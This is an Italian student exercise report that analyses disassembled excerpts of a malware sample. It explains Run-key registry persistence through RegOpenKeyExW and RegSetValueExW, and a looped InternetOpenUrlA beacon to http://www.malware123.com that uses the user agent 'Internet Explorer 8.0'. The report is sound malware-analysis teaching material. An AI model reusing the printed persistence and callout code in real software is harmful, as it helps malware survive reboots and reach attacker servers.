

# Report Esercizio

W23-D2



---

**Redatto da Andrea Sciattella**

28/07/2024

## TRACCIA

---

Con riferimento agli estratti di un malware reale presenti nelle prossime slide, rispondere alle seguenti domande:

- Descrivere come il malware ottiene la persistenza, evidenziando il codice assembly dove le relative istruzioni e chiamate di funzioni vengono eseguite.
- Identificare il client software utilizzato dal malware per la connessione ad Internet.
- Identificare l'URL al quale il malware tenta di connettersi ed evidenziare la chiamata di funzione che permette al malware di connettersi ad un URL.

## SVOLGIMENTO ESERCIZIO

---

1. Descrivere come il malware ottiene la persistenza, evidenziando il codice assembly dove le relative istruzioni e chiamate di funzioni vengono eseguite.

```

0040286F  push    2                ; samDesired
00402871  push    eax              ; ulOptions
00402872  push    offset SubKey    ; "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
00402877  push    HKEY_LOCAL_MACHINE ; hKey
0040287C  call    esi ; RegOpenKeyExW
0040287E  test    eax, eax
00402880  jnz     short loc_4028C5
00402882
00402882  loc_402882:
00402882  lea     ecx, [esp+424h+Data]
00402886  push    ecx              ; lpString
00402887  mov     bl, 1
00402889  call    ds:lstrlenW
0040288F  lea     edx, [eax+eax+2]
00402893  push    edx              ; cbData
00402894  mov     edx, [esp+428h+hKey]
00402898  lea     eax, [esp+428h+Data]
0040289C  push    eax              ; lpData
0040289D  push    1                ; dwType
0040289F  push    0                ; Reserved
004028A1  lea     ecx, [esp+434h+ValueName]
004028A8  push    ecx              ; lpValueName
004028A9  push    edx              ; hKey
004028AA  call    ds:RegSetValueExW

```

Il malware ottiene la persistenza modificando il registro di sistema di Windows per aggiungere una chiave sotto "Software\Microsoft\Windows\CurrentVersion\Run".

La parte di codice assembly, esegue istruzioni per questo processo:

- RegOpenKeyExW viene chiamato per aprire la chiave del registro HKEY\_LOCAL\_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run.
- Se la chiave viene aperta correttamente (possiamo vedere il salto condizionale alla locazione **00402880**, che verifica la corretta apertura della chiave di registro), il malware utilizza RegSetValueExW per impostare un nuovo valore nella chiave, permettendo al malware di essere eseguito all'avvio del sistema.

2. Identificare il client software utilizzato dal malware per la connessione ad Internet.

```

.text:00401150 ; SUBROUTINE
.text:00401150
.text:00401150
.text:00401150 ; DWORD __stdcall StartAddress(LPVOID)
.text:00401150 StartAddress proc near ; DATA XREF: sub_401040+ECFo
.text:00401150     push     esi
.text:00401151     push     edi
.text:00401152     push     0 ; dwFlags
.text:00401154     push     0 ; lpszProxyBypass
.text:00401156     push     0 ; lpszProxy
.text:00401158     push     1 ; dwAccessType
.text:0040115A     push     offset szAgent ; "Internet Explorer 8.0"
.text:0040115F     call     ds:InternetOpenA
.text:00401165     mov      edi, ds:InternetOpenUrlA
.text:0040116B     mov      esi, eax

```

- Il malware utilizza **Internet Explorer 8.0** come client software per connettersi a Internet, come indicato dall'uso di "Internet Explorer 8.0" alla locazione **0040115A**, nella chiamata a *InternetOpenA*.

3. Identificare l'URL al quale il malware tenta di connettersi ed evidenziare la chiamata di funzione che permette al malware di connettersi ad un URL.

```

.text:0040116D loc_40116D:
.text:0040116D     push     0 ; CODE XREF: StartAddress+304j
.text:0040116F     push     80000000h ; dwContext
.text:00401174     push     0 ; dwFlags
.text:00401176     push     0 ; dwHeadersLength
.text:00401178     push     offset szUrl ; "http://www.malware123.com"
.text:0040117D     push     esi ; hInternet
.text:0040117E     call     edi ; InternetOpenUrlA
.text:00401180     jmp      short loc_40116D
.text:00401180 StartAddress endp

```

- L'URL al quale il malware tenta di connettersi è <http://www.malware123.com>, come si vede nel testo evidenziato della loc. **00401178**. La chiamata di funzione che permette al malware di connettersi a questo URL è **InternetOpenUrlA**.
- La sequenza di istruzioni include il caricamento dell'URL nello stack (push offset szUrl) seguito dalla chiamata a InternetOpenUrlA (call edi).